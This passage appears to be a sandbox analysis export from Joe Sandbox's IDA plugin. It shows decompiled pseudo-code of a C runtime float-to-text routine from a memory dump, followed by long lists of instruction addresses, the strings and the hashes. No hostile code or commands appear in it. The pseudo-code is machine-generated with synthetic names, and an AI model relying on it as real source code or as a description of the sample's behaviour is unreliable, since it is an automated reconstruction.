													L262:
													_push(_t1064);
													_push(_t852);
													E00880761();
													_t1277 =  &(_t1277[4]);
												} else {
													goto L182;
												}
												goto L263;
												L182:
												_t908 = _v1908 - _v1888;
												__eflags = _t908;
												_v1908 = _t908;
											} while (_t908 != 0);
											_t1102 = _v1896;
											goto L184;
										}
									}
									L263:
									_t1194 = _v1920;
									_t1243 = _t1194;
									_t1086 = _v472;
									_v1872 = _t1243;
									__eflags = _t1086;
									if(_t1086 != 0) {
										_t1247 = 0;
										_t1198 = 0;
										__eflags = 0;
										do {
											_t841 =  *(_t1271 + _t1198 * 4 - 0x1d0);
											_t1151 = 0xa;
											_t1152 = _t841 * _t1151 >> 0x20;
											 *(_t1271 + _t1198 * 4 - 0x1d0) = _t841 * _t1151 + _t1247;
											asm("adc edx, 0x0");
											_t1198 = _t1198 + 1;
											_t1247 = _t1152;
											__eflags = _t1198 - _t1086;
										} while (_t1198 != _t1086);
										_v1896 = _t1247;
										__eflags = _t1247;
										_t1243 = _v1872;
										if(_t1247 != 0) {
											_t1095 = _v472;
											__eflags = _t1095 - 0x73;
											if(_t1095 >= 0x73) {
												__eflags = 0;
												_v2408 = 0;
												_v472 = 0;
												E00880761( &_v468, _t1064,  &_v2404, 0);
												_t1277 =  &(_t1277[4]);
											} else {
												 *(_t1271 + _t1095 * 4 - 0x1d0) = _t1152;
												_v472 = _v472 + 1;
											}
										}
										_t1194 = _t1243;
									}
									_t815 = E00881DC0( &_v472,  &_v936);
									_t1142 = 0xa;
									__eflags = _t815 - _t1142;
									if(_t815 != _t1142) {
										__eflags = _t815;
										if(_t815 != 0) {
											_t816 = _t815 + 0x30;
											__eflags = _t816;
											_t1243 = _t1194 + 1;
											 *_t1194 = _t816;
											_v1872 = _t1243;
											goto L282;
										} else {
											_t817 = _v1904 - 1;
										}
									} else {
										_v1904 = _v1904 + 1;
										_t1243 = _t1194 + 1;
										_t832 = _v936;
										 *_t1194 = 0x31;
										_v1872 = _t1243;
										__eflags = _t832;
										if(_t832 != 0) {
											_t1197 = 0;
											_t1246 = _t832;
											_t1094 = 0;
											__eflags = 0;
											do {
												_t833 =  *(_t1271 + _t1094 * 4 - 0x3a0);
												 *(_t1271 + _t1094 * 4 - 0x3a0) = _t833 * _t1142 + _t1197;
												asm("adc edx, 0x0");
												_t1094 = _t1094 + 1;
												_t1197 = _t833 * _t1142 >> 0x20;
												_t1142 = 0xa;
												__eflags = _t1094 - _t1246;
											} while (_t1094 != _t1246);
											_t1243 = _v1872;
											__eflags = _t1197;
											if(_t1197 != 0) {
												_t836 = _v936;
												__eflags = _t836 - 0x73;
												if(_t836 >= 0x73) {
													_v2408 = 0;
													_v936 = 0;
													E00880761( &_v932, _t1064,  &_v2404, 0);
													_t1277 =  &(_t1277[4]);
												} else {
													 *(_t1271 + _t836 * 4 - 0x3a0) = _t1197;
													_v936 = _v936 + 1;
												}
											}
										}
										L282:
										_t817 = _v1904;
									}
									 *((intOrPtr*)(_v1924 + 4)) = _t817;
									_t1070 = _v1916;
									__eflags = _t817;
									if(_t817 >= 0) {
										__eflags = _t1070 - 0x7fffffff;
										if(_t1070 <= 0x7fffffff) {
											_t1070 = _t1070 + _t817;
											__eflags = _t1070;
										}
									}
									_t819 = _a24 - 1;
									__eflags = _t819 - _t1070;
									if(_t819 >= _t1070) {
										_t819 = _t1070;
									}
									_t755 = _t819 + _v1920;
									_v1916 = _t755;
									__eflags = _t1243 - _t755;
									if(__eflags != 0) {
										while(1) {
											_t755 = _v472;
											__eflags = _t755;
											if(__eflags == 0) {
												goto L303;
											}
											_t1195 = 0;
											_t1244 = _t755;
											_t1090 = 0;
											__eflags = 0;
											do {
												_t820 =  *(_t1271 + _t1090 * 4 - 0x1d0);
												 *(_t1271 + _t1090 * 4 - 0x1d0) = _t820 * 0x3b9aca00 + _t1195;
												asm("adc edx, 0x0");
												_t1090 = _t1090 + 1;
												_t1195 = _t820 * 0x3b9aca00 >> 0x20;
												__eflags = _t1090 - _t1244;
											} while (_t1090 != _t1244);
											_t1245 = _v1872;
											__eflags = _t1195;
											if(_t1195 != 0) {
												_t826 = _v472;
												__eflags = _t826 - 0x73;
												if(_t826 >= 0x73) {
													__eflags = 0;
													_v2408 = 0;
													_v472 = 0;
													E00880761( &_v468, _t1064,  &_v2404, 0);
													_t1277 =  &(_t1277[4]);
												} else {
													 *(_t1271 + _t826 * 4 - 0x1d0) = _t1195;
													_v472 = _v472 + 1;
												}
											}
											_t825 = E00881DC0( &_v472,  &_v936);
											_t1196 = 8;
											_t1070 = _v1916 - _t1245;
											__eflags = _t1070;
											do {
												_t708 = _t825 % _v1912;
												_t825 = _t825 / _v1912;
												_t1142 = _t708 + 0x30;
												__eflags = _t1070 - _t1196;
												if(_t1070 >= _t1196) {
													 *(_t1196 + _t1245) = _t1142;
												}
												_t1196 = _t1196 - 1;
												__eflags = _t1196 - 0xffffffff;
											} while (_t1196 != 0xffffffff);
											__eflags = _t1070 - 9;
											if(_t1070 > 9) {
												_t1070 = 9;
											}
											_t1243 = _t1245 + _t1070;
											_v1872 = _t1243;
											__eflags = _t1243 - _v1916;
											if(__eflags != 0) {
												continue;
											}
											goto L303;
										}
									}
									L303:
									 *_t1243 = 0;
									goto L309;
								}
							}
						}
					}
				} else {
					_t1070 = _t1234 & 0x000fffff;
					if((_t1186 | _t1234 & 0x000fffff) != 0) {
						goto L5;
					} else {
						_push(0x88d0c4);
						 *((intOrPtr*)(_v1924 + 4)) =  *(_v1924 + 4) & 0x00000000;
						L308:
						_push(_a24);
						_push(_t1055);
						if(E0087D6F3() != 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E0087D96C();
							asm("int3");
							_push(0x10);
							E00874780(_t1055, _t1186, _t1234);
							_v32 = _v32 & 0x00000000;
							E0087F5B1(8);
							_t1071 = 0x890c10;
							_t721 =  &_v8;
							 *_t721 = _v8 & 0x00000000;
							__eflags =  *_t721;
							_t1235 = 3;
							while(1) {
								_v36 = _t1235;
								__eflags = _t1235 -  *0x8c88b4; // 0x200
								if(__eflags == 0) {
									break;
								}
								_t763 =  *0x8c88b8; // 0x0
								_t764 =  *(_t763 + _t1235 * 4);
								__eflags = _t764;
								if(_t764 != 0) {
									__eflags =  *(_t764 + 0xc) >> 0x0000000d & 0x00000001;
									if(__eflags != 0) {
										_t773 =  *0x8c88b8; // 0x0
										_push( *((intOrPtr*)(_t773 + _t1235 * 4)));
										_t774 = E008849B3(_t1055, _t1071, _t1142, _t1186, _t1235, __eflags);
										__eflags = _t774 - 0xffffffff;
										if(_t774 != 0xffffffff) {
											_t731 =  &_v32;
											 *_t731 = _v32 + 1;
											__eflags =  *_t731;
										}
									}
									_t767 =  *0x8c88b8; // 0x0
									DeleteCriticalSection( *((intOrPtr*)(_t767 + _t1235 * 4)) + 0x20);
									_t770 =  *0x8c88b8; // 0x0
									E0087D758( *((intOrPtr*)(_t770 + _t1235 * 4)));
									_pop(_t1071);
									_t772 =  *0x8c88b8; // 0x0
									_t737 = _t772 + _t1235 * 4;
									 *_t737 =  *(_t772 + _t1235 * 4) & 0x00000000;
									__eflags =  *_t737;
								}
								_t1235 = _t1235 + 1;
							}
							_v8 = 0xfffffffe;
							E008836A1();
							return E008747D0(_v32);
						} else {
							L309:
							_t1284 = _v1936;
							_pop(_t1187);
							_pop(_t1236);
							_pop(_t1056);
							if(_v1936 != 0) {
								_t755 = E00883D01(_t1070, _t1284,  &_v1944);
							}
							return E0087494C(_t755, _t1056, _v8 ^ _t1271, _t1142, _t1187, _t1236);
						}
					}
				}
			}

0x0088226e
0x00882271
0x00882273
0x00882279
0x00882280
0x00882283
0x00882284
0x0088228d
0x0088228e
0x0088228f
0x00882292
0x00882298
0x0088229e
0x008822a3
0x008822b2
0x008822b4
0x008822b6
0x008822b6
0x008822bd
0x008822c7
0x008822cc
0x008822cf
0x008822f3
0x008822f7
0x008822fc
0x008822fd
0x008822ff
0x00882301
0x00882307
0x00882307
0x0088230e
0x0088230e
0x00882311
0x008835c1
0x00000000
0x00882317
0x00882317
0x00882317
0x0088231a
0x008835ba
0x00000000
0x00882320
0x00882320
0x00882320
0x00882323
0x008835b3
0x00000000
0x00882329
0x00882329
0x0088232c
0x008835ac
0x00000000
0x00882332
0x0088233b
0x00882343
0x00882346
0x00882349
0x0088234c
0x00882352
0x0088235a
0x00882360
0x0088236a
0x0088236a
0x0088236d
0x00882375
0x0088237c
0x0088237c
0x0088236f
0x0088236f
0x00882371
0x00882384
0x0088238a
0x0088238c
0x00882390
0x00882395
0x008823a2
0x008823a4
0x008823aa
0x008823af
0x008823b1
0x008823b4
0x008823ba
0x008823bb
0x008823c0
0x008823c6
0x008823cb
0x008823d4
0x008823d4
0x008823d6
0x008823cd
0x008823cd
0x008823d2
0x00000000
0x00000000
0x008823d2
0x008823dc
0x008823e4
0x008823e6
0x008823ef
0x008823f0
0x008823f6
0x008823f8
0x008827eb
0x008827f1
0x00882910
0x00882910
0x00882917
0x00882917
0x00882917
0x0088291e
0x00882921
0x00882928
0x00882928
0x00882923
0x00882923
0x00882923
0x0088292c
0x0088292d
0x0088292f
0x00882932
0x00882935
0x00882938
0x0088293e
0x00882941
0x00882944
0x0088294e
0x0088294e
0x0088294e
0x00882946
0x00882946
0x00882948
0x00000000
0x0088294a
0x0088294a
0x0088294a
0x00882948
0x00882950
0x00882952
0x008829f3
0x008829f3
0x00882a00
0x00882a00
0x00882a00
0x00882a16
0x00882a1b
0x00882958
0x00882958
0x0088295a
0x00000000
0x00882960
0x00882962
0x00882963
0x00882965
0x00882967
0x00882967
0x00882969
0x0088296c
0x00882974
0x00882976
0x00882979
0x0088297f
0x0088297f
0x00882981
0x0088298d
0x0088298d
0x0088298d
0x00882983
0x00882985
0x00882985
0x00882994
0x00882997
0x00882999
0x008829a0
0x008829a0
0x0088299b
0x0088299b
0x0088299b
0x008829a8
0x008829b2
0x008829b8
0x008829b9
0x008829be
0x008829c4
0x008829c7
0x00000000
0x00000000
0x008829c9
0x008829c9
0x008829d1
0x008829d1
0x008829d7
0x008829de
0x008829eb
0x008829e0
0x008829e0
0x008829e3
0x008829e3
0x008829de
0x0088295a
0x00882a27
0x00882a37
0x00882a44
0x00882a46
0x00882a4d
0x008827f7
0x008827f7
0x00882800
0x00882801
0x0088280b
0x00882811
0x00882813
0x00882819
0x00882819
0x0088281b
0x0088281b
0x00882822
0x00882829
0x00000000
0x00000000
0x0088282f
0x00882832
0x00882835
0x00000000
0x00882837
0x00882837
0x00882837
0x00882837
0x0088283e
0x00882841
0x00882848
0x00882848
0x00882843
0x00882843
0x00882843
0x0088284c
0x0088284f
0x00882851
0x00882853
0x00882859
0x0088285f
0x00882861
0x00882861
0x00882861
0x00882868
0x00882868
0x0088286a
0x00882876
0x00882876
0x00882876
0x0088286c
0x0088286e
0x0088286e
0x0088287d
0x00882880
0x00882882
0x00882889
0x00882889
0x00882884
0x00882884
0x00882884
0x00882891
0x0088289c
0x008828a2
0x008828a3
0x008828a8
0x008828ae
0x008828b1
0x00000000
0x00000000
0x008828b3
0x008828b3
0x008828bd
0x008828c8
0x008828d0
0x008828d6
0x008828e1
0x008828e7
0x008828ee
0x00882901
0x00882908
0x00882908
0x00000000
0x00882835
0x0088281b
0x00000000
0x00882813
0x00882a50
0x00882a50
0x00882a56
0x00882a5b
0x00882a61
0x00882a74
0x00882a79
0x008823fe
0x008823fe
0x00882407
0x00882408
0x00882412
0x00882418
0x0088241a
0x00882620
0x00882628
0x0088262b
0x00882630
0x00882633
0x0088263b
0x0088263f
0x00882645
0x0088264b
0x00882650
0x00882657
0x00882658
0x00882658
0x00882658
0x0088265f
0x00882662
0x0088266a
0x00882670
0x00882675
0x00882675
0x00882672
0x00882672
0x00882672
0x00882679
0x0088267a
0x0088267c
0x0088267f
0x00882685
0x0088268b
0x0088268e
0x00882691
0x00882697
0x0088269a
0x0088269d
0x008826a7
0x008826a7
0x008826a7
0x0088269f
0x0088269f
0x008826a1
0x00000000
0x008826a3
0x008826a3
0x008826a3
0x008826a1
0x008826a9
0x008826ab
0x0088279d
0x0088279d
0x0088279f
0x008827a5
0x008827ab
0x008827c0
0x008827c5
0x008826b1
0x008826b1
0x008826b3
0x00000000
0x008826b9
0x008826bb
0x008826bc
0x008826be
0x008826c0
0x008826c2
0x008826c2
0x008826c8
0x008826ca
0x008826d0
0x008826d3
0x008826e1
0x008826e7
0x008826e7
0x008826e9
0x008826ec
0x008826f2
0x008826f2
0x008826f4
0x00000000
0x00000000
0x008826f6
0x008826f8
0x008826fe
0x008826fe
0x008826fa
0x008826fa
0x008826fa
0x00882703
0x00882705
0x0088270c
0x0088270c
0x00882707
0x00882707
0x00882707
0x00882732
0x00882738
0x0088273b
0x00882741
0x00882748
0x00882749
0x0088274a
0x00882750
0x00882753
0x00882755
0x00000000
0x00882755
0x00000000
0x00882753
0x0088275d
0x00882763
0x0088276b
0x0088276b
0x0088276c
0x0088276e
0x00882772
0x0088277a
0x0088277a
0x0088277a
0x0088277c
0x00882783
0x00882788
0x00882795
0x0088278a
0x0088278d
0x0088278d
0x00882788
0x008826b3
0x008827c8
0x008827d2
0x008827d8
0x008827de
0x008827e4
0x00882420
0x00882420
0x00882420
0x00882422
0x00882429
0x00882430
0x00000000
0x00000000
0x00882436
0x00882439
0x0088243c
0x00000000
0x0088243e
0x00882446
0x0088244b
0x00882450
0x00882451
0x00882453
0x0088245b
0x0088245f
0x00882465
0x0088246b
0x00882470
0x00882477
0x00882477
0x00882478
0x0088247b
0x00882483
0x00882489
0x0088248e
0x0088248e
0x0088248b
0x0088248b
0x0088248b
0x00882492
0x00882493
0x00882495
0x00882498
0x0088249e
0x008824a4
0x008824a7
0x008824aa
0x008824b0
0x008824b3
0x008824b6
0x008824c0
0x008824c0
0x008824c0
0x008824b8
0x008824b8
0x008824ba
0x00000000
0x008824bc
0x008824bc
0x008824bc
0x008824ba
0x008824c2
0x008824c4
0x008825b9
0x008825b9
0x008825bb
0x008825c1
0x008825c7
0x008825dc
0x008825e1
0x008824ca
0x008824ca
0x008824cc
0x00000000
0x008824d2
0x008824d4
0x008824d5
0x008824d7
0x008824d9
0x008824db
0x008824db
0x008824e1
0x008824e3
0x008824e9
0x008824ec
0x008824fa
0x00882500
0x00882500
0x00882502
0x00882505
0x0088250b
0x0088250b
0x0088250d
0x00000000
0x00000000
0x0088250f
0x00882511
0x00882517
0x00882517
0x00882513
0x00882513
0x00882513
0x0088251c
0x0088251e
0x0088252b
0x0088252b
0x00882520
0x00882526
0x00882526
0x00882549
0x00882551
0x00882558
0x0088255f
0x00882560
0x00882563
0x00882569
0x0088256f
0x00882572
0x00882574
0x00000000
0x00882574
0x00000000
0x00882572
0x0088257c
0x00882582
0x00882582
0x00882588
0x0088258a
0x00882594
0x00882596
0x00882596
0x00882596
0x00882598
0x0088259f
0x008825a4
0x008825b1
0x008825a6
0x008825a9
0x008825a9
0x008825a4
0x008824cc
0x008825e4
0x008825ef
0x008825f0
0x008825f1
0x008825f7
0x008825fd
0x00882603
0x00882603
0x00000000
0x0088243c
0x00000000
0x00882422
0x00882604
0x0088260a
0x00882611
0x00882612
0x00882613
0x00882618
0x00882618
0x00882a7c
0x00882a86
0x00882a87
0x00882a8d
0x00882a8f
0x00882ef8
0x00882efa
0x00882efc
0x00882f02
0x00882f04
0x00882f0a
0x00882f0c
0x0088325e
0x0088325e
0x00883260
0x00883266
0x0088326d
0x00883273
0x00883275
0x00883313
0x00883313
0x00883315
0x00883316
0x0088331c
0x00000000
0x0088327b
0x0088327b
0x0088327e
0x00883284
0x0088328a
0x0088328c
0x00883292
0x00883294
0x00883294
0x00883296
0x00883296
0x0088329f
0x008832a6
0x008832ac
0x008832af
0x008832b0
0x008832b2
0x008832b2
0x008832b6
0x008832b8
0x008832ba
0x008832c0
0x008832c3
0x00000000
0x008832c5
0x008832c5
0x008832cc
0x008832cc
0x008832c3
0x008832b8
0x0088328c
0x0088327e
0x00883275
0x00882f12
0x00882f12
0x00882f12
0x00882f15
0x00882f19
0x00882f19
0x00882f1a
0x00882f2c
0x00882f39
0x00882f48
0x00882f72
0x00882f77
0x00882f7d
0x00882f80
0x00882f86
0x00882f89
0x00883022
0x00883029
0x008830a7
0x008830ad
0x008830b3
0x008830b6
0x008830b8
0x00883141
0x008830be
0x008830be
0x008830c4
0x008830c4
0x008830ca
0x008830d0
0x008830d2
0x008830d4
0x008830d4
0x008830da
0x008830e0
0x008830e2
0x008830ea
0x008830ea
0x008830f0
0x008830f2
0x008830f4
0x008830fa
0x008830fc
0x00883213
0x00883215
0x0088321b
0x0088321b
0x0088321e
0x0088321f
0x00000000
0x00883102
0x00883108
0x00883108
0x0088310a
0x00883110
0x00883113
0x0088311a
0x00883120
0x00883122
0x00883149
0x0088314b
0x0088314d
0x0088314f
0x00883155
0x0088315b
0x008831f5
0x008831f5
0x008831f8
0x00000000
0x008831fe
0x008831fe
0x00883204
0x00000000
0x00883204
0x00883161
0x00883161
0x00883161
0x00883164
0x00000000
0x00000000
0x00883166
0x00883168
0x0088316a
0x00883173
0x00883173
0x00883175
0x0088317b
0x0088317b
0x00883187
0x00883192
0x00883195
0x008831a2
0x008831a5
0x008831a6
0x008831a7
0x008831ad
0x008831af
0x008831b5
0x008831bb
0x00000000
0x00000000
0x00000000
0x00000000
0x008831bd
0x008831bd
0x008831bd
0x008831bf
0x00000000
0x00000000
0x008831c1
0x008831c4
0x00000000
0x008831ca
0x008831ca
0x008831cc
0x008831ce
0x008831ce
0x008831ce
0x008831d6
0x008831d9
0x008831d9
0x008831df
0x008831e1
0x008831e3
0x008831ea
0x008831f0
0x008831f2
0x00000000
0x008831f2
0x00000000
0x008831c4
0x00000000
0x008831bd
0x00000000
0x00883161
0x00883124
0x00883124
0x00883126
0x0088312c
0x00883133
0x00883133
0x00883136
0x00883136
0x00000000
0x00883126
0x00000000
0x0088320a
0x0088320a
0x0088320b
0x0088320b
0x00000000
0x00883110
0x0088302b
0x0088302b
0x0088303d
0x0088304c
0x00883051
0x00883054
0x00883056
0x00000000
0x0088305c
0x0088305c
0x0088305f
0x00000000
0x00883065
0x00883065
0x0088306c
0x00000000
0x00883072
0x00883078
0x0088307a
0x00883080
0x00883080
0x00883082
0x00883082
0x00883084
0x0088308d
0x00883094
0x00883097
0x00883098
0x0088309a
0x0088309a
0x00000000
0x008830a2
0x0088306c
0x0088305f
0x00883056
0x00882f8f
0x00882f8f
0x00882f95
0x00882f97
0x00882fb3
0x00882fb6
0x00000000
0x00882fbc
0x00882fbc
0x00882fc3
0x00000000
0x00882fc9
0x00882fcf
0x00882fd1
0x00882fd7
0x00882fd7
0x00882fd9
0x00882fd9
0x00882fdb
0x00882fe4
0x00882feb
0x00882fee
0x00882fef
0x00882ff1
0x00882ff1
0x00882ff9
0x00882ff9
0x00882ffb
0x00000000
0x00883001
0x00883001
0x00883007
0x0088300a
0x008832d4
0x008832d7
0x008832dd
0x008832f2
0x008832f7
0x008832fa
0x00883010
0x00883010
0x00883017
0x00000000
0x00883017
0x0088300a
0x00882ffb
0x00882fc3
0x00882f99
0x00882f99
0x00882f9b
0x00882fa1
0x00882fa7
0x00882fa8
0x00883225
0x00883225
0x0088322c
0x0088322d
0x0088322e
0x00883233
0x00883236
0x00883236
0x00883236
0x00882f97
0x00883238
0x00883238
0x0088323a
0x00883301
0x00883308
0x0088330f
0x00883322
0x00883328
0x00883329
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00883240
0x00883246
0x00883246
0x0088324c
0x0088324c
0x00883258
0x00000000
0x00883258
0x00882a95
0x00882a95
0x00882a97
0x00882a9d
0x00882a9f
0x00882aa5
0x00882aa7
0x00882e1e
0x00882e1e
0x00882e20
0x00882e26
0x00882e2d
0x00882e2f
0x00882e8e
0x00882e91
0x00882e97
0x00882e9d
0x00882ea3
0x00882ea5
0x00882eab
0x00882ead
0x00882ead
0x00882eaf
0x00882eaf
0x00882eb1
0x00882eba
0x00882ec1
0x00882ec4
0x00882ec5
0x00882ec7
0x00882ec7
0x00882ecf
0x00882ed1
0x00882ed7
0x00882edd
0x00882ee0
0x00000000
0x00882ee6
0x00882ee6
0x00882eed
0x00882eed
0x00882ee0
0x00882ed1
0x00882ea5
0x00882e31
0x00882e31
0x00882e33
0x00882e39
0x00882e3f
0x00000000
0x00882e3f
0x00882e2f
0x00882aad
0x00882aad
0x00882aad
0x00882ab0
0x00882ab4
0x00882ab4
0x00882ab5
0x00882ac7
0x00882ad4
0x00882ae3
0x00882b0d
0x00882b12
0x00882b18
0x00882b1b
0x00882b21
0x00882b24
0x00882ba0
0x00882ba7
0x00882c6b
0x00882c71
0x00882c77
0x00882c7a
0x00882c7c
0x00882d05
0x00882c82
0x00882c82
0x00882c88
0x00882c88
0x00882c8e
0x00882c94
0x00882c96
0x00882c98
0x00882c98
0x00882c9e
0x00882ca4
0x00882ca6
0x00882cae
0x00882cae
0x00882cb4
0x00882cb6
0x00882cb8
0x00882cbe
0x00882cc0
0x00882dd7
0x00882dd9
0x00882ddf
0x00882ddf
0x00000000
0x00882cc6
0x00882ccc
0x00882ccc
0x00882cce
0x00882cd4
0x00882cd7
0x00882cde
0x00882ce4
0x00882ce6
0x00882d0d
0x00882d0f
0x00882d11
0x00882d13
0x00882d19
0x00882d1f
0x00882db9
0x00882db9
0x00882dbc
0x00000000
0x00882dc2
0x00882dc2
0x00882dc8
0x00000000
0x00882dc8
0x00882d25
0x00882d25
0x00882d25
0x00882d28
0x00000000
0x00000000
0x00882d2a
0x00882d2c
0x00882d2e
0x00882d37
0x00882d37
0x00882d39
0x00882d3f
0x00882d3f
0x00882d4b
0x00882d56
0x00882d59
0x00882d66
0x00882d69
0x00882d6a
0x00882d6b
0x00882d71
0x00882d73
0x00882d79
0x00882d7f
0x00000000
0x00000000
0x00000000
0x00000000
0x00882d81
0x00882d81
0x00882d81
0x00882d83
0x00000000
0x00000000
0x00882d85
0x00882d88
0x00882e42
0x00882e42
0x00882e44
0x00882e4a
0x00882e50
0x00882e51
0x00000000
0x00882d8e
0x00882d8e
0x00882d90
0x00882d92
0x00882d92
0x00882d92
0x00882d9a
0x00882d9d
0x00882d9d
0x00882da3
0x00882da5
0x00882da7
0x00882dae
0x00882db4
0x00882db6
0x00000000
0x00882db6
0x00000000
0x00882d88
0x00000000
0x00882d81
0x00000000
0x00882d25
0x00882ce8
0x00882ce8
0x00882cea
0x00882cf0
0x00882cf7
0x00882cf7
0x00882cfa
0x00882cfa
0x00000000
0x00882cea
0x00000000
0x00882dce
0x00882dce
0x00882dcf
0x00882dcf
0x00000000
0x00882cd4
0x00882bad
0x00882bad
0x00882bbf
0x00882bce
0x00882bd3
0x00882bd6
0x00882bd8
0x00882bf4
0x00882bf7
0x00000000
0x00882bfd
0x00882bfd
0x00882c04
0x00000000
0x00882c0a
0x00882c10
0x00882c12
0x00882c18
0x00882c18
0x00882c1a
0x00882c1a
0x00882c1c
0x00882c25
0x00882c2c
0x00882c2f
0x00882c30
0x00882c32
0x00882c32
0x00000000
0x00882c1a
0x00882c04
0x00882bda
0x00882bdc
0x00882be2
0x00882be8
0x00882be9
0x00000000
0x00882be9
0x00882bd8
0x00882b26
0x00882b26
0x00882b2c
0x00882b2e
0x00882b43
0x00882b46
0x00000000
0x00882b4c
0x00882b4c
0x00882b53
0x00000000
0x00882b59
0x00882b5f
0x00882b61
0x00882b67
0x00882b67
0x00882b69
0x00882b69
0x00882b6b
0x00882b74
0x00882b7b
0x00882b7e
0x00882b7f
0x00882b81
0x00882b81
0x00882c3a
0x00882c3a
0x00882c3c
0x00000000
0x00882c42
0x00882c42
0x00882c48
0x00882c4b
0x00882b8e
0x00882b95
0x00000000
0x00882c51
0x00882c53
0x00882c59
0x00882c5f
0x00882c60
0x00882e57
0x00882e57
0x00882e5e
0x00882e5f
0x00882e60
0x00882e65
0x00882e68
0x00882e68
0x00882c4b
0x00882c3c
0x00882b53
0x00882b30
0x00882b30
0x00882b32
0x00882b38
0x00882de2
0x00882de2
0x00882de3
0x00882de9
0x00882de9
0x00882df0
0x00882df1
0x00882df2
0x00882df7
0x00882dfa
0x00882dfa
0x00882dfa
0x00882b2e
0x00882dfc
0x00882dfc
0x00882dfe
0x00882e6c
0x00882e73
0x00882e73
0x00882e73
0x00882e7a
0x00882e7c
0x00882e82
0x00882e83
0x0088332f
0x0088332f
0x00883330
0x00883331
0x00883336
0x00000000
0x00000000
0x00000000
0x00000000
0x00882e00
0x00882e06
0x00882e06
0x00882e0c
0x00882e0c
0x00882e18
0x00000000
0x00882e18
0x00882aa7
0x00883339
0x00883339
0x0088333f
0x00883341
0x00883347
0x0088334d
0x0088334f
0x00883351
0x00883353
0x00883353
0x00883355
0x00883355
0x0088335e
0x0088335f
0x00883363
0x0088336a
0x0088336d
0x0088336e
0x00883370
0x00883370
0x00883374
0x0088337a
0x0088337c
0x00883382
0x00883384
0x0088338a
0x0088338d
0x008833a0
0x008833a3
0x008833a9
0x008833be
0x008833c3
0x0088338f
0x00883391
0x00883398
0x00883398
0x0088338d
0x008833c6
0x008833c6
0x008833d6
0x008833df
0x008833e0
0x008833e2
0x00883479
0x0088347b
0x00883486
0x00883486
0x00883488
0x0088348b
0x0088348d
0x00000000
0x0088347d
0x00883483
0x00883483
0x008833e8
0x008833e8
0x008833ee
0x008833f1
0x008833f7
0x008833fa
0x00883400
0x00883402
0x00883408
0x0088340a
0x0088340c
0x0088340c
0x0088340e
0x0088340e
0x0088341b
0x00883422
0x00883425
0x00883426
0x00883428
0x00883429
0x00883429
0x0088342d
0x00883433
0x00883435
0x00883437
0x0088343d
0x00883440
0x00883454
0x0088345a
0x0088346f
0x00883474
0x00883442
0x00883442
0x00883449
0x00883449
0x00883440
0x00883435
0x00883493
0x00883493
0x00883493
0x0088349f
0x008834a2
0x008834a8
0x008834aa
0x008834ac
0x008834b2
0x008834b4
0x008834b4
0x008834b4
0x008834b2
0x008834b9
0x008834ba
0x008834bc
0x008834be
0x008834be
0x008834c0
0x008834c6
0x008834cc
0x008834ce
0x008834d4
0x008834d4
0x008834da
0x008834dc
0x00000000
0x00000000
0x008834e2
0x008834e4
0x008834e6
0x008834e6
0x008834e8
0x008834e8
0x008834f8
0x008834ff
0x00883502
0x00883503
0x00883505
0x00883505
0x00883509
0x0088350f
0x00883511
0x00883513
0x00883519
0x0088351c
0x0088352d
0x00883530
0x00883536
0x0088354b
0x00883550
0x0088351e
0x0088351e
0x00883525
0x00883525
0x0088351c
0x00883561
0x00883570
0x00883571
0x00883571
0x00883573
0x00883575
0x00883575
0x0088357b
0x0088357e
0x00883580
0x00883582
0x00883582
0x00883585
0x00883586
0x00883586
0x0088358b
0x0088358e
0x00883592
0x00883592
0x00883593
0x00883595
0x0088359b
0x008835a1
0x00000000
0x00000000
0x00000000
0x008835a1
0x008834d4
0x008835a7
0x008835a7
0x00000000
0x008835a7
0x0088232c
0x00882323
0x0088231a
0x008822d1
0x008822d5
0x008822dd
0x00000000
0x008822df
0x008822e5
0x008822ea
0x008835c6
0x008835c6
0x008835c9
0x008835d4
0x008835ff
0x00883600
0x00883601
0x00883602
0x00883603
0x00883604
0x00883609
0x0088360a
0x00883611
0x00883616
0x0088361c
0x00883621
0x00883622
0x00883622
0x00883622
0x00883628
0x00883629
0x00883629
0x0088362c
0x00883632
0x00000000
0x00000000
0x00883634
0x00883639
0x0088363c
0x0088363e
0x00883646
0x00883648
0x0088364a
0x0088364f
0x00883652
0x00883658
0x0088365b
0x0088365d
0x0088365d
0x0088365d
0x0088365d
0x0088365b
0x00883660
0x0088366c
0x00883672
0x0088367a
0x0088367f
0x00883680
0x00883685
0x00883685
0x00883685
0x00883685
0x00883689
0x00883689
0x0088368c
0x00883693
0x008836a0
0x008835d6
0x008835d6
0x008835d6
0x008835dd
0x008835de
0x008835df
0x008835e0
0x008835e9
0x008835ee
0x008835fc
0x008835fc
0x008835d4
0x008822dd

APIs

__floor_pentium4.LIBCMT ref: 008823B4

Strings

1#IND, xrefs: 008835AC
1#INF, xrefs: 008835C1
1#SNAN, xrefs: 008835B3
1#QNAN, xrefs: 008835BA

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 8e1ca7f365063a788ad49056862ecb85786217d95741d245bbb4cd2e43a3b676
Instruction ID: 1f93dd0993dd9485fd820ef826c8c4a49bf41ed689518c56a4ea13fd9252b800
Opcode Fuzzy Hash: 8e1ca7f365063a788ad49056862ecb85786217d95741d245bbb4cd2e43a3b676
